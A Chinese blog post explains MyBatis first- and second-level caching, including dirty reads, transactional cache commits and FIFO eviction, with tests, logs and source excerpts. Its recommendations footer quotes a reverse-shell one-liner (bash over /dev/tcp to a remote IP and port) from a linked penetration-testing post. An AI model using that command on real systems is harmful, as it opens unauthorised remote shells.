mybatis 源码分析(四)一二级缓存分析
本篇博客主要讲了 mybatis 一二级缓存的构成,以及一些容易出错地方的示例分析;
一、mybatis 缓存体系
mybatis 的一二级缓存体系大致如下:
- 首先当一二级缓存同时开启的时候,首先命中二级缓存;
- 一级缓存位于 BaseExecutor 中不能关闭,但是可以指定范围 STATEMENT、SESSION;
- 整个二级缓存虽然经过了很多事务相关的组件,但是最终是落地在 MapperStatement 的 Cache 中(Cache 的具体实例类型可以在 mapper xml 的 cache type 标签中指定,默认 PerpetualCache),而 MapperStatement 和 namespace 一一对应,所以二级缓存的作用域是 mapper namespace;
- 在使用二级缓存的时候,如果 cache 没有命中则向后查找,然后查询的结果不是直接放到 cache 中,而是首先放到 TransactionCache 的本地缓存中,这里区分 entriesToAddOnCommit、entriesMissedInCache 是为了统计命令率,最后在 sqlSession commit 的时候,才会将 TransactionCache 的本地缓存提交到 cache 中,此时 cache 才是对其他 sqlSession 可见的;
- 此外当需要分布式缓存的时候,就需要将二级缓存放到 JVM 之外,这里可以实现 cache 接口编写自己的 cache,此时在实现的 cache 中就可以使用 ehcache、redis 等外部缓存进行操作;
以上就大致是 mybatis 缓存的整体结构,下面将分模块拆分测试一二级缓存;
二、一级缓存
mybatis 的一级缓存一般情况很少使用,其原因主要有两个:
- 一级缓存的生命周期同 SqlSession,所以容易出现脏读;
- 一级缓存的 cache 的实现只能是 PerpetualCache,所以不能指定容量等设置;
1. 脏读测试
指定一级缓存范围为 SESSION:
<setting name="localCacheScope" value="SESSION"/>
@Test
public void test01() {
SqlSessionFactory sqlSessionFactory = DBUtils.getSessionFactory();
try (
SqlSession sqlSession1 = sqlSessionFactory.openSession(true);
SqlSession sqlSession2 = sqlSessionFactory.openSession(true);
) {
UserMapper userMapper1 = sqlSession1.getMapper(UserMapper.class);
UserMapper userMapper2 = sqlSession2.getMapper(UserMapper.class);
log.info("---get: {}", userMapper1.getUser(1L));
log.info("---get: {}", userMapper2.getUser(1L));
log.info("---update: {}", userMapper1.setNameById(1L, "LiSi"));
log.info("---get: {}", userMapper1.getUser(1L));
log.info("---get: {}", userMapper2.getUser(1L));
}
}
结果如下:
[DEBUG] sanzao.db.UserMapper.getUser - ==> Preparing: select * from user where id = ?
[DEBUG] sanzao.db.UserMapper.getUser - ==> Parameters: 1(Long)
[TRACE] sanzao.db.UserMapper.getUser - <== Columns: id, username, password, address
[TRACE] sanzao.db.UserMapper.getUser - <== Row: 1, ZhangSan, 123456, TT
[DEBUG] sanzao.db.UserMapper.getUser - <== Total: 1
[INFO] sanzao.Test01 - ---get: User{id=1, user_name='ZhangSan', password='123456', address='TT'}
[DEBUG] org.apache.ibatis.transaction.jdbc.JdbcTransaction - Opening JDBC Connection
[DEBUG] org.apache.ibatis.datasource.pooled.PooledDataSource - Created connection 61073295.
[DEBUG] sanzao.db.UserMapper.getUser - ==> Preparing: select * from user where id = ?
[DEBUG] sanzao.db.UserMapper.getUser - ==> Parameters: 1(Long)
[TRACE] sanzao.db.UserMapper.getUser - <== Columns: id, username, password, address
[TRACE] sanzao.db.UserMapper.getUser - <== Row: 1, ZhangSan, 123456, TT
[DEBUG] sanzao.db.UserMapper.getUser - <== Total: 1
[INFO] sanzao.Test01 - ---get: User{id=1, user_name='ZhangSan', password='123456', address='TT'}
[DEBUG] sanzao.db.UserMapper.setNameById - ==> Preparing: update user set username = ? where id = ?
[DEBUG] sanzao.db.UserMapper.setNameById - ==> Parameters: LiSi(String), 1(Long)
[DEBUG] sanzao.db.UserMapper.setNameById - <== Updates: 1
[INFO] sanzao.Test01 - ---update: 1
[DEBUG] sanzao.db.UserMapper.getUser - ==> Parameters: 1(Long)
[TRACE] sanzao.db.UserMapper.getUser - <== Columns: id, username, password, address
[TRACE] sanzao.db.UserMapper.getUser - <== Row: 1, LiSi, 123456, TT
[DEBUG] sanzao.db.UserMapper.getUser - <== Total: 1
[INFO] sanzao.Test01 - ---get: User{id=1, user_name='LiSi', password='123456', address='TT'}
[INFO] sanzao.Test01 - ---get: User{id=1, user_name='ZhangSan', password='123456', address='TT'}
可以看到当 sqlSession1 更新的时候,sqlSession2 的缓存仍然有效所以出现了脏读;所以通常都设置一级缓存的范围为:STATEMENT;
2. 源码分析
mybatis 的一级缓存主要和 Executor 整合比较多,所以建议先查看我上一篇博客 Executor 详解 ,详细了解缓存命中的整体流程;这里一级缓存的源码也很简单:
- 查询的时候,首先查缓存,命中则返回,未命中就查数据库,然后填充缓存;
- 更新、提交等操作情况缓存;
@SuppressWarnings("unchecked")
@Override
public <E> List<E> query(MappedStatement ms, Object parameter, RowBounds rowBounds, ResultHandler resultHandler, CacheKey key, BoundSql boundSql) throws SQLException {
ErrorContext.instance().resource(ms.getResource()).activity("executing a query").object(ms.getId());
if (closed) { throw new ExecutorException("Executor was closed."); }
// 查询的时候一般不清楚缓存,但是可以通过 xml配置或者注解强制清除,queryStack == 0 是为了防止递归调用
if (queryStack == 0 && ms.isFlushCacheRequired()) { clearLocalCache(); }
List<E> list;
try {
queryStack++;
// 首先查看一级缓存
list = resultHandler == null ? (List<E>) localCache.getObject(key) : null;
if (list != null) {
handleLocallyCachedOutputParameters(ms, key, parameter, boundSql);
} else {
// 没有查到的时候直接到数据库查找
list = queryFromDatabase(ms, parameter, rowBounds, resultHandler, key, boundSql);
}
} finally {
queryStack--;
}
if (queryStack == 0) {
// 延迟加载队列
for (DeferredLoad deferredLoad : deferredLoads) {
deferredLoad.load();
}
deferredLoads.clear();
if (configuration.getLocalCacheScope() == LocalCacheScope.STATEMENT) {
// 一级缓存本身不能关闭,但是可以设置作用范围 STATEMENT,每次都清除缓存
clearLocalCache();
}
}
return list;
}
三、二级缓存
mybatis 二级缓存要稍微复杂一点,中间多了一步事务缓存:
- 首先无论是查询还是更新,都会按要求清空缓存
flushCacheIfRequired
,默认更新清空,查询不清空,也可以在 xml 或者注解中指定; - 查询的时候,先查缓存,命中返回,未命中查一级缓存、数据库,然后回填事务缓存,注意这里不是直接填充到缓存中;此时的事务缓存对任何的 SqlSession 都是不可见的,因为自己查询的时候也是直接查询的目标缓存;
- 更新就直接委托给目标 Executor 执行;
- 最后 SqlSession 执行commit 的时候,将事务缓存刷新到目标缓存中;
1. 事务缓存测试
设置二级缓存:
<setting name="cacheEnabled" value="true"/>
<mapper namespace="***">
<cache/>
</mapper>
@Test
public void test02() {
SqlSessionFactory sqlSessionFactory = DBUtils.getSessionFactory();
try (
SqlSession sqlSession1 = sqlSessionFactory.openSession(true);
SqlSession sqlSession2 = sqlSessionFactory.openSession(true);
) {
UserMapper userMapper1 = sqlSession1.getMapper(UserMapper.class);
UserMapper userMapper2 = sqlSession2.getMapper(UserMapper.class);
User u1 = userMapper1.getUser(1L);
System.out.println("---get u1: " + u1);
User u2 = userMapper2.getUser(1L);
System.out.println("---get u2: " + u2);
User u3 = userMapper1.getUser(1L);
System.out.println("---get u3: " + u3);
}
}
打印:
DEBUG [main] - Cache Hit Ratio [sanzao.db.UserMapper]: 0.0
DEBUG [main] - ==> Preparing: select * from user where id = ?
DEBUG [main] - ==> Parameters: 1(Long)
DEBUG [main] - <== Total: 1
---get u1: User{id=1, user_name='sanzao', password='123456', address='TT'}
DEBUG [main] - Cache Hit Ratio [sanzao.db.UserMapper]: 0.0
DEBUG [main] - Opening JDBC Connection
DEBUG [main] - Created connection 1613095350.
DEBUG [main] - ==> Preparing: select * from user where id = ?
DEBUG [main] - ==> Parameters: 1(Long)
DEBUG [main] - <== Total: 1
---get u2: User{id=1, user_name='sanzao', password='123456', address='TT'}
DEBUG [main] - Cache Hit Ratio [sanzao.db.UserMapper]: 0.0
---get u3: User{id=1, user_name='sanzao', password='123456', address='TT'}
可以看到:
- SqlSession1 为提交事务缓存,所以 SqlSession2 又从数据库中查了一次;
- 当SqlSession1 再次查询的时候,二级缓存未命中 Cache Hit Ratio 为 0,但是命中了一级缓存,所以并未再查数据库;
2. 二级缓存测试
这次我们提交缓存看看是否命中:
@Test
public void test03() {
SqlSessionFactory sqlSessionFactory = DBUtils.getSessionFactory();
try (
SqlSession sqlSession1 = sqlSessionFactory.openSession(true);
SqlSession sqlSession2 = sqlSessionFactory.openSession(true);
) {
UserMapper userMapper1 = sqlSession1.getMapper(UserMapper.class);
UserMapper userMapper2 = sqlSession2.getMapper(UserMapper.class);
User u1 = userMapper1.getUser(1L);
System.out.println("---get u1: " + u1);
sqlSession1.commit();
User u2 = userMapper2.getUser(1L);
System.out.println("---get u2: " + u2);
int i = userMapper1.setNameById(1L, "LiSi");
System.out.println("---update user: " + i);
sqlSession1.commit();
User u3 = userMapper1.getUser(1L);
System.out.println("---get u3: " + u3);
sqlSession1.commit();
User u4 = userMapper2.getUser(1L);
System.out.println("---get u4: " + u4);
}
}
打印:
DEBUG [main] - Cache Hit Ratio [sanzao.db.UserMapper]: 0.0
DEBUG [main] - ==> Preparing: select * from user where id = ?
DEBUG [main] - ==> Parameters: 1(Long)
DEBUG [main] - <== Total: 1
---get u1: User{id=1, user_name='sanzao', password='123456', address='TT'}
DEBUG [main] - Cache Hit Ratio [sanzao.db.UserMapper]: 0.5
---get u2: User{id=1, user_name='sanzao', password='123456', address='TT'}
DEBUG [main] - ==> Preparing: update user set username = ? where id = ?
DEBUG [main] - ==> Parameters: LiSi(String), 1(Long)
DEBUG [main] - <== Updates: 1
---update user: 1
DEBUG [main] - Cache Hit Ratio [sanzao.db.UserMapper]: 0.3333333333333333
DEBUG [main] - ==> Preparing: select * from user where id = ?
DEBUG [main] - ==> Parameters: 1(Long)
DEBUG [main] - <== Total: 1
---get u3: User{id=1, user_name='LiSi', password='123456', address='TT'}
DEBUG [main] - Cache Hit Ratio [sanzao.db.UserMapper]: 0.5
---get u4: User{id=1, user_name='LiSi', password='123456', address='TT'}
这次就能看到当 SqlSession1 提交事务缓存后,SqlSession2 就能看到了;
3. 缓存配置测试
此外还可以配置各种二级缓存策略,比如大小,刷新间隔时间,淘汰策略等,这里主要就是使用了 Cache 接口的装饰者模式:
LRU
– 最近最少使用:移除最长时间不被使用的对象。FIFO
– 先进先出:按对象进入缓存的顺序来移除它们。SOFT
– 软引用:基于垃圾回收器状态和软引用规则移除对象。WEAK
– 弱引用:更积极地基于垃圾收集器状态和弱引用规则移除对象。
但是需要注意的是这里的策略也能用户本地缓存,对于分布式缓存有些策略还是有问题;比如:
<cache eviction="FIFO" flushInterval="60000" size="2" readOnly="true"/>
这里主要定义了缓存大小2,使用 FIFO 策略更新;
@Test
public void test04() {
SqlSessionFactory sqlSessionFactory = DBUtils.getSessionFactory();
try (
SqlSession sqlSession1 = sqlSessionFactory.openSession(true);
SqlSession sqlSession2 = sqlSessionFactory.openSession(true);) {
UserMapper userMapper1 = sqlSession1.getMapper(UserMapper.class);
UserMapper userMapper2 = sqlSession2.getMapper(UserMapper.class);
System.out.println("---get user: " + userMapper1.getUser(1L));
sqlSession1.commit();
System.out.println("---get user: " + userMapper1.getUser(2L));
sqlSession1.commit();
System.out.println("---get user: " + userMapper1.getUser(3L));
sqlSession1.commit();
System.out.println("---get user: " + userMapper2.getUser(1L));
System.out.println("---get user: " + userMapper2.getUser(2L));
System.out.println("---get user: " + userMapper1.getUser(1L));
sqlSession2.commit();
System.out.println("------------");
System.out.println("---get user: " + userMapper1.getUser(1L));
System.out.println("---get user: " + userMapper1.getUser(2L));
System.out.println("---get user: " + userMapper1.getUser(3L));
}
}
打印:
DEBUG [main] - Cache Hit Ratio [sanzao.db.UserMapper]: 0.0
DEBUG [main] - ==> Preparing: select * from user where id = ?
DEBUG [main] - ==> Parameters: 1(Long)
DEBUG [main] - <== Total: 1
---get user: User{id=1, user_name='s1', password='123456', address='TT'}
DEBUG [main] - Cache Hit Ratio [sanzao.db.UserMapper]: 0.0
DEBUG [main] - ==> Preparing: select * from user where id = ?
DEBUG [main] - ==> Parameters: 2(Long)
DEBUG [main] - <== Total: 1
---get user: User{id=2, user_name='s2', password='123456', address='TT'}
DEBUG [main] - Cache Hit Ratio [sanzao.db.UserMapper]: 0.0
DEBUG [main] - ==> Preparing: select * from user where id = ?
DEBUG [main] - ==> Parameters: 3(Long)
DEBUG [main] - <== Total: 1
---get user: User{id=3, user_name='s3', password='123456', address='TT'}
DEBUG [main] - Cache Hit Ratio [sanzao.db.UserMapper]: 0.0
DEBUG [main] - ==> Preparing: select * from user where id = ?
DEBUG [main] - ==> Parameters: 1(Long)
DEBUG [main] - <== Total: 1
---get user: User{id=1, user_name='s1', password='123456', address='TT'}
DEBUG [main] - Cache Hit Ratio [sanzao.db.UserMapper]: 0.2
---get user: User{id=2, user_name='s2', password='123456', address='TT'}
DEBUG [main] - Cache Hit Ratio [sanzao.db.UserMapper]: 0.16666666666666666
DEBUG [main] - ==> Preparing: select * from user where id = ?
DEBUG [main] - ==> Parameters: 1(Long)
DEBUG [main] - <== Total: 1
---get user: User{id=1, user_name='s1', password='123456', address='TT'}
------------
DEBUG [main] - Cache Hit Ratio [sanzao.db.UserMapper]: 0.2857142857142857
---get user: User{id=1, user_name='s1', password='123456', address='TT'}
DEBUG [main] - Cache Hit Ratio [sanzao.db.UserMapper]: 0.25
DEBUG [main] - ==> Parameters: 2(Long)
DEBUG [main] - <== Total: 1
---get user: User{id=2, user_name='s2', password='123456', address='TT'}
DEBUG [main] - Cache Hit Ratio [sanzao.db.UserMapper]: 0.3333333333333333
---get user: User{id=3, user_name='s3', password='123456', address='TT'}
从日志中可以看到对于 SqlSession1,大小2,FIFO 是生效的,但是 SqlSession2 提交了之后,就发现缓存 s1,s2,s3 都命中了;
至于源码太多了就不一次分析了,对于上面说的使用装饰者模式,可以在 CacheBuilder 中看到;
public Cache build() {
setDefaultImplementations();
Cache cache = newBaseCacheInstance(implementation, id);
setCacheProperties(cache);
// issue #352, do not apply decorators to custom caches
if (PerpetualCache.class.equals(cache.getClass())) {
for (Class<? extends Cache> decorator : decorators) {
cache = newCacheDecoratorInstance(decorator, cache);
setCacheProperties(cache);
}
cache = setStandardDecorators(cache);
} else if (!LoggingCache.class.isAssignableFrom(cache.getClass())) {
cache = new LoggingCache(cache);
}
return cache;
}
总结
- mybatis 一级缓存的生命周期和 SqlSession 是一样的,通常情况下不建议使用一级缓存,通常将一级缓存范围设置为 STATEMENT;
- 使用 mybatis 二级的时候,务必记得
SqlSession.commit
,否则二级缓存是不生效的; - 在配置 mybatis 分布式二级缓存的时候,要确保缓存淘汰等策略是可以用于分布式缓存的;
mybatis 源码分析(四)一二级缓存分析的更多相关文章
- Mybatis源码解析(四) —— SqlSession是如何实现数据库操作的?
Mybatis源码解析(四) -- SqlSession是如何实现数据库操作的? 如果拿一次数据库请求操作做比喻,那么前面3篇文章就是在做请求准备,真正执行操作的是本篇文章要讲述的内容.正如标题一 ...
- Mybatis源码研究7:缓存的设计和实现
Mybatis源码研究7:缓存的设计和实现 2014年11月19日 21:02:14 酷酷的糖先森 阅读数:1020 版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog ...
- mybatis源码学习:一级缓存和二级缓存分析
目录 零.一级缓存和二级缓存的流程 一级缓存总结 二级缓存总结 一.缓存接口Cache及其实现类 二.cache标签解析源码 三.CacheKey缓存项的key 四.二级缓存TransactionCa ...
- Mybatis源码学习第六天(核心流程分析)之Executor分析
今Executor这个类,Mybatis虽然表面是SqlSession做的增删改查,其实底层统一调用的是Executor这个接口 在这里贴一下Mybatis查询体系结构图 Executor组件分析 E ...
- 手把手带你阅读Mybatis源码(三)缓存篇
前言 大家好,这一篇文章是MyBatis系列的最后一篇文章,前面两篇文章:手把手带你阅读Mybatis源码(一)构造篇 和 手把手带你阅读Mybatis源码(二)执行篇,主要说明了MyBatis是如何 ...
- mybatis源码探索笔记-4(缓存原理)
前言 mybatis的缓存大家都知道分为一级和二级缓存,一级缓存系统默认使用,二级缓存默认开启,但具体用的时候需要我们自己手动配置.我们依旧还是先看一个demo.这儿只贴出关键代码 public in ...
- 浩哥解析MyBatis源码(四)——DataSource数据源模块
原创作品,可以转载,但是请标注出处地址:http://www.cnblogs.com/V1haoge/p/6634880.html 1.回顾 上一文中解读了MyBatis中的事务模块,其实事务操作无非 ...
- mybatis源码学习(三)-一级缓存二级缓存
本文主要是个人学习mybatis缓存的学习笔记,主要有以下几个知识点 1.一级缓存配置信息 2.一级缓存源码学习笔记 3.二级缓存配置信息 4.二级缓存源码 5.一级缓存.二级缓存总结 1.一级缓存配 ...
- Mybatis源码学习第六天(核心流程分析)之Executor分析(补充)
补充上一章没有讲解的三个Executor执行器; 还是贴一下之前的代码吧;我发现其实有些分析注释还是写在代码里面比较好,方便大家理解,之前是我的疏忽,不好意思 @Override public < ...
- mybatis源码解读(四)——事务的配置
上一篇博客我们介绍了mybatis中关于数据源的配置原理,本篇博客介绍mybatis的事务管理. 对于事务,我们是在mybatis-configuration.xml 文件中配置的: 关于解析 < ...
随机推荐
- linux几种方式来弹哥shell
渗透测试linux主机的时候,能够去 弹个shell进行交互是非常重要的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i :打 ...
- 个人永久性免费-Excel催化剂功能第75波-标签式报表转标准数据源
数据处理永远是数据分析工作中重中之重的任务,大部分人深深地陷入在数据处理的泥潭中,今天Excel催化剂再接再厉,在过往已提供了主从结构报表数据源的数据转换后,再次给大家送上标签式报表数据源的数据转换操 ...
- C#3.0新增功能09 LINQ 基础06 LINQ 查询操作中的类型关系
连载目录 [已更新最新开发文章,点击查看详细] 若要有效编写查询,应了解完整的查询操作中的变量类型是如何全部彼此关联的. 如果了解这些关系,就能够更容易地理解文档中的 LINQ 示例和代码示例. ...
- IDEA中使用mybatis逆向工程
如果使用过mybatis的人就会发现,当我们使用mybatis时,我们每次都需要自己手动创建实体类,映射文件(当然你也可以用注释),还有接口来进行使用,这样手动创建非常的繁琐,mybatis考虑到这方 ...
- Python入门基础(9)__面向对象编程_3
继承 子类自动继承父类的所有方法和属性 继承的语法: class 类名(父类名) pass 1.子类继承父类,可以直接使用父类中已经封装好的方法,不需要再次开发 2.子类可以根据需求,封装自己特有的属 ...
- linux下的FTP安装及调优
前言: 在之前交换平台的开发中,FTP的各种操作算是核心功能点. 在FTP的开发中,遇到了不少坑. 如FTP需要设置被动模式,否则10M以上的包可能会上传失败. 如FTP需要设置囚牢模式,否则访问的文 ...
- http.client.ResponseNotReady: Request-sent
最近学习python写接口测试,使用的是connection.request 发现在测试一个发送报告接口时候,同一个接口,同样的脚本,只是一个参数传不同值,总提示:http.client.Respon ...
- scroll-苹果滑动卡顿
2018年08月02日,程序小bug. 在移动端html中经常出现横向/纵向滚动的效果,但是在iPhone中滚动速度很慢,感觉不流畅,有种卡卡的感觉,但是在安卓设备上没有这种感觉; 一行代码搞定: - ...
- 使用Java 编写FTP中的长传文件和下载文件
实现FTP文件上传与下载可以通过以下两种种方式实现(不知道还有没有其他方式,),分别为:1.通过JDK自带的API实现:2.通过Apache提供的API是实现. 第一种方法:通过JDK自带的API实现 ...
- 5.源码分析---SOFARPC调用服务
我们这一次来接着上一篇文章<4. 源码分析---SOFARPC服务端暴露>讲一下服务暴露之后被客户端调用之后服务端是怎么返回数据的. 示例我们还是和上篇文章一样使用一样的bolt协议来讲: ...